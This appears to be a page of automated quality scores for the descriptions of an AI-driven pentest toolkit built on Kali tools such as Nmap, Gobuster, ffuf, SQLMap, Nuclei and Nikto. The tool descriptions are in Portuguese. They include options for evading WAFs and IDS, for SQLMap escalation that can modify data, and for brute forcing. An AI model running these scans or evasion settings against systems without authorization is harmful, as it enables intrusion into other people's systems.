For a tool with 6 parameters and an output schema, the description provides sufficient context for why it exists and when to use it, but misses important context about safety, limitations, and how it fits with sibling tools. The output schema covers return values, but behavioral context (e.g., potential to mutate data) is absent. This is adequate but not comprehensive.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
The input schema covers 100% of parameters with detailed descriptions and examples. The description adds no additional parameter-level context beyond the schema, so it stays at the baseline 3. It does not enhance or clarify parameter behavior beyond what is already documented.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states a specific verb+resource: 'Faz requisição HTTP customizada' (makes custom HTTP request) and enumerates specific use cases (check content, headers, test payloads). It distinguishes from specialized siblings by emphasizing 'customizada' and 'verificação de evidências', making its purpose unambiguous.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
Explicitly lists three usage scenarios: confirming exposed files (.env, phpinfo.php, backups), inspecting endpoint responses, and sending manual payloads during evidence verification. It gives concrete contexts but does not mention exclusions or compare with alternative tools, so a 4 is appropriate.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
gerar_relatorioA
Gera relatório consolidado de todos os findings de um alvo. Arquivo salvo em ~/.kali-mcp/workspaces/_.
| Name | Required | Description | Default |
|---|---|---|---|
| target | Yes | Alvo a consolidar. Ex: "192.168.1.10", "app.local" | |
| formato | No | "markdown" (padrão) ou "json" | markdown |
Output Schema
| Name | Required | Description |
|---|---|---|
No output parameters | ||
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
Since no annotations are provided, the description must disclose behavioral traits on its own. It does disclose that a file is saved to ~/.kali-mcp/workspaces/<alvo>_<timestamp>.<ext>, which communicates the main side effect and implies unique file creation via timestamp. However, it does not describe return behavior, auth requirements, failure modes, or whether prior findings are required.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description consists of two concise sentences, with the first stating the core purpose and the second specifying the output file path. Every sentence earns its place, and critical information is front-loaded.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given the low tool complexity (2 parameters, 100% schema coverage, and an output schema), the description covers the essential purpose and output file location. It is slightly incomplete due to lack of explicit usage guidance and behavioral details, but it is sufficient for a straightforward report-generation tool with an output schema.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
The input schema descriptions cover both parameters fully (100% coverage), including target examples and the formato default and allowed values. The description adds no additional parameter semantics beyond what the schema already provides, so the baseline score of 3 is appropriate.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description states a specific verb and resource: 'Gera relatório consolidado de todos os findings de um alvo', clearly defining the tool as generating a consolidated report of all findings for a target. This distinguishes it from sibling tools like listar_findings by emphasizing consolidation into a report file.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description implies the tool should be used after findings have been collected for a target, but it offers no explicit when-to-use or when-not-to-use guidance and does not mention alternatives. It provides enough context for a basic inference, but no exclusions or comparison to sibling report/listing tools.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
gerenciar_allowlistA
Gerencia a allowlist de alvos autorizados para testes.
NENHUMA ferramenta de scan funcionará sem que o alvo esteja aqui. Configure sempre antes de iniciar um pentest.
| Name | Required | Description | Default |
|---|---|---|---|
| note | No | Contexto de autorização. Ex: "servidor de homologação — autorizado por João em 2025-05-18" | |
| entry | No | IP, hostname ou domínio. Ex: "192.168.1.10", "app.local", "exemplo.com" | |
| action | Yes | "add" | "remove" | "list" |
Output Schema
| Name | Required | Description |
|---|---|---|
No output parameters | ||
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations, the description carries the transparency burden. It discloses that the tool manages the allowlist and is a mandatory prerequisite for scans, which is critical behavioral context. However, it does not explicitly mention side effects of add/remove (e.g., whether removal invalidates ongoing scans), but the action parameter covers the basic operations. No contradictions.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Two sentences, front-loaded with the core purpose and immediately followed by the crucial usage constraint. No filler or redundancy—every word earns its place.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
The tool is simple (3 params, 1 required). Given the high schema description coverage, an output schema (indicated), and the clear prerequisite message, the description fully contextualizes when and why to use it. No gaps remain.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100% with descriptions for all parameters, so the baseline is 3. The description adds value by giving an example for the 'note' parameter (context of authorization) and emphasizing the critical role of the 'entry' parameter. It provides practical guidance beyond the schema's raw types.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool manages the allowlist of authorized targets, using the specific verb 'gerencia' and the resource 'allowlist de alvos autorizados'. It distinguishes itself from sibling scanning tools by emphasizing that no scan tool will work without the target being in the allowlist, making its unique purpose explicit.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
It explicitly states when to use: 'Configure sempre antes de iniciar um pentest' and warns that no scan tool will function without the target being here. This gives clear preconditions and prerequisites, and by implication tells the agent to use this before any scanning tool, effectively excluding alternatives.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
listar_findingsC
Lista findings registrados no banco de dados, filtrados opcionalmente por alvo.
| Name | Required | Description | Default |
|---|---|---|---|
| limit | No | Máximo de resultados. Padrão: 50 | |
| target | No | Filtro parcial por alvo. Vazio = todos. |
Output Schema
| Name | Required | Description |
|---|---|---|
No output parameters | ||
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, so the description must disclose behavior. It does not mention that this is a read-only operation, whether results are paginated (only a limit parameter), or any side effects. Since it's a database listing, it's likely safe, but the description doesn't say so.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single, concise sentence that conveys the core purpose. It doesn't waste words, though it could be slightly more descriptive without being verbose.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
With an output schema present, the description need not explain return values. However, for a listing tool, the description is minimal: it doesn't mention ordering, default behavior (beyond the schema), or any constraints. Given the simplicity, it is adequate but not comprehensive.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema description coverage is 100%, so the schema documents both parameters (limit and target). The description mentions the 'target' filter but adds no additional meaning beyond the schema. Baseline 3 is appropriate.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool lists findings from the database with optional target filtering. It distinguishes itself from sibling tools by focusing on 'findings' rather than scanning or reporting actions, even though it doesn't explicitly name a sibling alternative.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
There is no guidance on when to use this tool versus others. The description implies it is for retrieving recorded findings but gives no context about when this is appropriate (e.g., after a scan or as part of a report) or when to prefer other tools like gerar_relatorio.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
pentest_completoC
Executa o pipeline completo de pentest de forma autônoma na ordem correta.
| Name | Required | Description | Default |
|---|---|---|---|
| target | Yes | IP ou hostname do alvo. Ex: "192.168.1.10", "app.local" | |
| evasion | No | True = scans lentos com UA real para evitar WAF/rate-limit. Recomendado para alvos externos (produção, hospedagem compartilhada). | |
| target_url | No | URL base (inferida do Nmap se omitida). | |
| include_brute_force | No | Incluir Hydra no pipeline. Requer autorização explícita. |
Output Schema
| Name | Required | Description |
|---|---|---|
No output parameters | ||
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations, the description carries the full burden of behavioral disclosure, yet it only mentions autonomous execution and correct ordering. It omits the potentially invasive/active nature, authorization concerns, runtime expectations, side effects, or that brute-force steps require explicit consent.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single front-loaded sentence with no filler. It conveys the core action and key distinguishing trait—autonomous, correct-order execution—in minimal space.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Even with a rich input schema and an output schema, the description gives almost no operational context for a complex autonomous pipeline. It does not explain which tools run, how long it may take, what impact it may have on the target, or when the pipeline should not be used.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema description coverage is 100%, so the baseline applies. The tool description adds no parameter-level meaning beyond what the schema already provides, but the schema itself is detailed enough to cover the semantics.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly identifies this as the orchestrator for a full pentest pipeline: 'Executa o pipeline completo de pentest de forma autônoma na ordem correta.' This distinguishes it from sibling point tools like scan_portas_nmap or scan_nuclei, though it does not enumerate which phases the pipeline includes.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description implies this is the comprehensive, autonomous option, but it does not state when to prefer it over individual sibling scanners or when to avoid it. No prerequisites, exclusions, or explicit alternatives are mentioned.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
retomar_sessaoA
Lista todos os scans salvos em disco para um alvo, permitindo retomar um pentest interrompido sem perder o progresso anterior.
Outputs são salvos automaticamente em ~/mcps/outputs/kali-mcp// a cada scan.
| Name | Required | Description | Default |
|---|---|---|---|
| target | Yes | Domínio ou IP do alvo. Ex: "exemplo.com.br", "192.168.1.10" |
Output Schema
| Name | Required | Description |
|---|---|---|
No output parameters | ||
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, so the description carries the burden. It mentions that outputs are saved automatically to a specific path, adding context about storage. However, it doesn't explicitly state whether this tool itself performs any modifications (e.g., it may only list existing scans), leaving some ambiguity about side effects. It does not contradict any annotations since none exist.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description consists of exactly two sentences, with the first stating the core purpose and the second providing a useful detail (output storage location). It is front-loaded, free of filler, and every word adds value.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
For a tool with a single parameter and no nested objects, the description is quite complete. It explains what the tool does, the context for use (resuming interrupted pentests), and where outputs are stored. It does not detail the output format, but an output schema exists, so that is not required. The only gap is some ambiguity about whether the tool modifies anything.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
The only parameter 'target' is described in the schema as 'Domínio ou IP do alvo' (domain or IP of the target), and the description adds an example ('exemplo.com.br', '192.168.1.10') which clarifies the expected format. Schema coverage is 100%, and the description enhances it with a concrete usage example.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the verb 'Lista' (lists) and the resource 'todos os scans salvos em disco para um alvo' (all saved scans for a target), and explains its purpose 'permitindo retomar um pentest interrompido' (allow resuming an interrupted pentest). This distinguishes it from sibling scan-execution tools like 'scan_portas_nmap' or 'scan_nuclei'.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description implies when to use the tool: when a pentest has been interrupted and you want to resume it without losing progress. It does not explicitly mention alternatives or when not to use it, but the context is clear enough for an agent to decide. The sentence about automatic saving also gives a hint about where the scans reside.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
scan_diretorios_gobusterA
Enumera diretórios e arquivos ocultos usando Gobuster. Use após identificar portas HTTP/HTTPS no Nmap, antes do Nikto.
| Name | Required | Description | Default |
|---|---|---|---|
| evasion | No | True = 5 threads + delay 300ms + User-Agent de browser real. Use quando o alvo tiver WAF ou rate limiting. | |
| wordlist | No | Caminho da wordlist dentro do container. | /usr/share/wordlists/dirb/common.txt |
| extensions | No | Extensões a testar, separadas por vírgula. | php,html,js,txt,bak,zip,env |
| target_url | Yes | URL base. Ex: "http://192.168.1.10", "https://app.local:8443" |
Output Schema
| Name | Required | Description |
|---|---|---|
No output parameters | ||
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, so the description carries the full burden of behavioral disclosure. It only says it enumerates directories and hidden files with Gobuster, but does not describe the tool's potential impact (e.g., being noisy, requiring permissions, rate limiting) or output characteristics. This is a significant gap for a scanning tool that may be intrusive.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is only two sentences and efficiently states the purpose and usage context. Every word earns its place, with no redundancy or filler.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
The description provides a clear purpose and usage sequence, and the input schema documents all parameters. However, it does not mention the tool's behavior or potential side effects (e.g., being time-consuming due to brute-forcing), nor does it describe the expected output format beyond what the output schema (which exists) might cover. Given the complexity of directory scanning, the description could be more informative about the tool's operation.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Since schema description coverage is 100%, the baseline is 3. The description adds no parameter-specific information beyond what the schema already documents, such as the evasion flag for WAF/rate limiting and the default wordlist path. The schema itself provides adequate parameter semantics.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool enumerates directories and hidden files using Gobuster, naming the specific tool and action. It also provides sequencing relative to Nmap and Nikto, distinguishing it from vulnerability scanning and fuzzing tools like Nikto and ffuf.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description gives explicit usage context: 'Use após identificar portas HTTP/HTTPS no Nmap, antes do Nikto.' This establishes a clear workflow placement. However, it does not explicitly mention alternatives like ffuf for fuzzing, nor does it state when not to use it beyond implying it needs Nmap results.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
scan_fuzzing_ffufA
Fuzzing rápido usando ffuf. Mais veloz e flexível que gobuster. Suporta fuzzing de diretórios, parâmetros GET/POST e endpoints de API REST.
| Name | Required | Description | Default |
|---|---|---|---|
| method | No | Método HTTP. Padrão: "GET" | GET |
| evasion | No | True = 5 threads + rate-limit 10 req/s + delay 200ms + User-Agent real. Use quando o alvo tiver WAF ou rate limiting. | |
| wordlist | No | Caminho da wordlist no container. | /usr/share/wordlists/dirb/common.txt |
| param_name | No | Parâmetro a fuzzar. Gera ?param=FUZZ (GET) ou body param=FUZZ (POST). | |
| target_url | Yes | URL com FUZZ embutido, ou URL base quando param_name for fornecido. | |
| filter_size | No | Filtrar respostas com este tamanho exato (bytes). Use para esconder a resposta padrão de 404 personalizado. | |
| match_codes | No | Status codes a reportar. Padrão: "200,301,302,403" | 200,301,302,403 |
Output Schema
| Name | Required | Description |
|---|---|---|
No output parameters | ||
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, so the description carries the burden of behavioral disclosure. It conveys that the tool performs fast ffuf-based fuzzing and is flexible, but it does not disclose side effects, network impact, preconditions, or output behavior. The schema's evasion parameter adds some behavioral context, but the description itself is thin on these details.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is two sentences, front-loaded with the core purpose, and contains no redundant restatement of the schema. Every clause adds useful context: tool identity, speed/flexibility comparison, and supported fuzzing targets.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given the output schema exists and the input schema covers all parameters with rich descriptions, the tool definition is mostly complete. The description covers the main supported use cases and distinguishes from gobuster, though it could be slightly more explicit about usage conditions and behavioral caveats for a fuller picture.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema description coverage is 100%, and each parameter is documented with defaults and helpful notes such as the FUZZ placeholder behavior. The description adds little parameter-level meaning beyond the schema, so the baseline score of 3 is appropriate.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description opens with a specific action, 'Fuzzing rápido usando ffuf', and immediately clarifies scope: directory fuzzing, GET/POST parameter fuzzing, and REST API endpoints. It also distinguishes itself from the sibling gobuster tool by claiming to be faster and more flexible, making the tool's purpose and differentiation clear.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description provides clear context by listing supported fuzzing types and explicitly comparing itself to gobuster ('Mais veloz e flexível que gobuster'). It does not explicitly state when not to use it or name all alternative tools, but the context is sufficient for an agent to decide when this tool is appropriate.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
scan_nucleiA
Detecta CVEs e vulnerabilidades conhecidas via templates usando Nuclei. Use após o Nikto para cobrir CVEs específicos baseados nas versões identificadas.
| Name | Required | Description | Default |
|---|---|---|---|
| tags | No | Tags de templates para filtrar. Ex: "wordpress", "apache", "xss,sqli" Deixe vazio para usar todos os templates da severidade especificada. | |
| severity | No | Filtro de severidade. Ex: "high,critical" | "medium,high,critical" | medium,high,critical |
| target_url | Yes | URL do alvo. Ex: "http://192.168.1.10" |
Output Schema
| Name | Required | Description |
|---|---|---|
No output parameters | ||
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, so the description carries the full burden of behavioral disclosure. It only restates the detection purpose and the Nikto sequencing; it does not mention that Nuclei sends active requests, potential impact on the target, or whether it only identifies rather than exploits vulnerabilities.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is two short sentences with no filler. The main purpose is front-loaded, and the usage guidance is appended efficiently.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
The tool has a full input schema and an output schema, so return values and parameters are covered. However, with no annotations, the description lacks behavioral caveats and prerequisites, making it adequate but not fully complete for a network-scanning tool.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
The input schema already documents all three parameters with 100% coverage, including examples and defaults. The description adds only the general 'templates' context, which aligns with the tags parameter but does not meaningfully extend the schema's parameter explanations.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description opens with a specific verb and resource: 'Detecta CVEs e vulnerabilidades conhecidas via templates usando Nuclei.' It clearly names Nuclei and the vulnerability-detection scope, and the follow-up 'Use após o Nikto' distinguishes it from the sibling Nikto scanner.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description explicitly states when to use the tool: after Nikto, to cover specific CVEs based on identified versions. This gives clear contextual sequencing, though it does not explicitly list exclusions or alternative tools beyond Nikto.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
scan_portas_nmapA
Realiza varredura de portas usando Nmap. Use SEMPRE como primeira fase.
| Name | Required | Description | Default |
|---|---|---|---|
| flags | No | Flags do Nmap (convertidas via shlex, sem interpretação de shell). | -sV -F |
| target | Yes | IP, hostname ou CIDR. Ex: "192.168.1.1", "10.0.0.0/24" | |
| stealth | No | True = timing T2 + scan-delay 1s para evitar IDS/rate-limit. |
Output Schema
| Name | Required | Description |
|---|---|---|
No output parameters | ||
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, so the description carries the full burden. It only states that it performs port scanning using Nmap, but does not disclose that this involves active network traffic, potential IDS detection, or that it may be intrusive. The stealth parameter hints at configurable evasiveness, but the description itself does not warn about side effects or safety considerations. This is a significant gap for a tool that actively probes a target.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is exceptionally concise: two short sentences that front-load the core purpose and usage. Every word earns its place, with no redundant details or filler. It perfectly balances brevity with essential information.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given the tool's complexity (3 parameters, output schema present) and lack of annotations, the description is minimal but covers basic usage. It states what it does and when to use it, but does not explain the output format (though covered by output schema) or the implications of the stealth parameter. For a first-phase scanner, it is adequate but could be more complete by mentioning that it is an active scan with potential detection risks.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
The schema covers all parameters (100% coverage), with descriptions like 'Flags do Nmap (convertidas via shlex, sem interpretação de shell)' and 'IP, hostname ou CIDR'. The description adds no extra meaning beyond the schema, so a baseline of 3 is appropriate. It does not provide examples or additional context that would enrich understanding.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description states 'Realiza varredura de portas usando Nmap' (Performs port scanning using Nmap), which clearly identifies the action (scanning) and the resource (ports). It distinguishes from siblings by specifying port scanning as opposed to directory, vulnerability, or other scans. The phrase 'Use SEMPRE como primeira fase' adds context that this is the initial phase, reinforcing its unique role.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description gives explicit usage guidance: 'Use SEMPRE como primeira fase' (Always use as first phase). This tells the agent when to use the tool, positioning it as the mandatory first step in a pentest sequence. It does not name alternatives or explicitly say when not to use, but the strong directive is sufficient for a clear usage context.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
scan_sql_injection_sqlmapA
Testa SQL Injection usando SQLMap. Use quando a URL contiver parâmetros GET/POST ou o Nikto reportar possível SQLi.
Escalonamento obrigatório — sempre comece no nível mais baixo: Conservador: risk=1, level=1 Moderado: risk=2, level=3 Máximo: risk=3, level=5 ← pode modificar dados, use só com autorização explícita
| Name | Required | Description | Default |
|---|---|---|---|
| risk | No | Nível de risco dos payloads (1-3). Padrão: 1 | |
| level | No | Profundidade dos testes (1-5). Padrão: 1 | |
| target_url | Yes | URL com parâmetros. Ex: "http://app.local/user?id=1" |
Output Schema
| Name | Required | Description |
|---|---|---|
No output parameters | ||
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, so the description carries the full burden of behavioral disclosure. It clearly warns that maximum level can modify data and requires explicit authorization, and it mandates starting at the lowest level. It does not mention auth requirements or rate limits, but the key destructive behavior is well flagged.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is compact and well-structured: purpose, when-to-use, and escalation guidance are clearly separated. Every sentence contributes operational value with no filler.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
For a complex scanning tool, the description covers purpose, trigger conditions, and safe escalation, while the output schema handles return values. It could mention prerequisites like target reachability or broader authorization context, but the core operational guidance is solid.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100%, so the baseline is 3. The description adds value by mapping risk/level combinations to conservative, moderate, and maximum escalation levels, and by warning that risk=3 can modify data—information not present in the schema.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description uses a specific verb and resource: 'Testa SQL Injection usando SQLMap', which clearly identifies the tool's function. It also distinguishes it from sibling scanners like scan_xss_dalfox and scan_vulnerabilidades_nikto by focusing on SQLMap and SQL injection.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
It explicitly states when to use the tool: when the URL contains GET/POST parameters or when Nikto reports possible SQLi. It also provides mandatory escalation levels, but it does not explicitly name alternative tools or exclusion scenarios.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
scan_ssl_testsslA
Analisa configuração SSL/TLS usando testssl.sh. Use quando Nmap identificar porta 443 ou outro serviço HTTPS.
Detecta: protocolos fracos (SSLv2/v3, TLS 1.0/1.1), cifras fracas, BEAST/POODLE/HEARTBLEED, certificados inválidos/expirados, HSTS ausente.
| Name | Required | Description | Default |
|---|---|---|---|
| port | No | Porta HTTPS. Padrão: 443 | |
| target | Yes | IP ou hostname. Ex: "192.168.1.10", "app.exemplo.com" |
Output Schema
| Name | Required | Description |
|---|---|---|
No output parameters | ||
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, so the description must carry the behavioral burden. It mentions the tool detects various weaknesses but does not disclose potential side effects (e.g., network impact, duration, need for privileges), whether it's read-only or invasive, or any rate limits. The description implies a scanning action but lacks transparency on operational constraints.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is compact, with a brief overview sentence, a usage trigger, and a bulleted list of detection categories. It is front-loaded with the purpose and uses concise phrasing, making it easy to scan.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given it scans for many vulnerabilities, the description is relatively complete with a clear list of what it detects. However, it lacks information about output specifics (though output schema exists, which reduces burden) and operational considerations like runtime or permissions. For a moderate complexity tool, it's adequate but not overly rich.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema description coverage is 100% for both parameters, providing clear descriptions of target and port with defaults. The description adds context by mentioning 'port 443 or other HTTPS', but doesn't add further semantic value beyond what the schema already states. Baseline 3 is appropriate.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool analyzes SSL/TLS configuration using testssl.sh, specifying the target context (port 443 or HTTPS service). It distinguishes from siblings by focusing on SSL/TLS analysis rather than general scanning, though it doesn't name specific alternatives.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
It provides a specific trigger condition (when Nmap identifies port 443 or another HTTPS service) and lists detected vulnerability categories. However, it doesn't explicitly state when NOT to use it or mention alternatives like scan_nuclei for web vulnerabilities, but the context is clear enough for an agent to decide.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
scan_vulnerabilidades_niktoA
Executa varredura de vulnerabilidades web usando Nikto. Use quando o Nmap identificar portas HTTP/HTTPS abertas.
Detecta: arquivos sensíveis expostos, cabeçalhos ausentes, métodos HTTP perigosos, versões desatualizadas, vetores XSS/injeção, SSL/TLS fraco.
| Name | Required | Description | Default |
|---|---|---|---|
| evasion | No | True = User-Agent de browser + pause 2s entre testes. | |
| target_url | Yes | URL completa. Ex: "http://192.168.1.10", "https://app.local:8443" |
Output Schema
| Name | Required | Description |
|---|---|---|
No output parameters | ||
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
Annotations are not provided, so the description carries full burden for behavioral disclosure. It does not state whether the scan is read‑only, whether it could affect the target (e.g., DDoS risk, network load), how long it might take, or whether credentials are needed. The description only lists detection capabilities, leaving the agent unaware of potential side effects or prerequisites.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is succinct (~60 words), front-loaded with the main action and tool name, followed by a usage condition, and then a bulleted list of detections. Every sentence serves a purpose, and there is no redundancy.
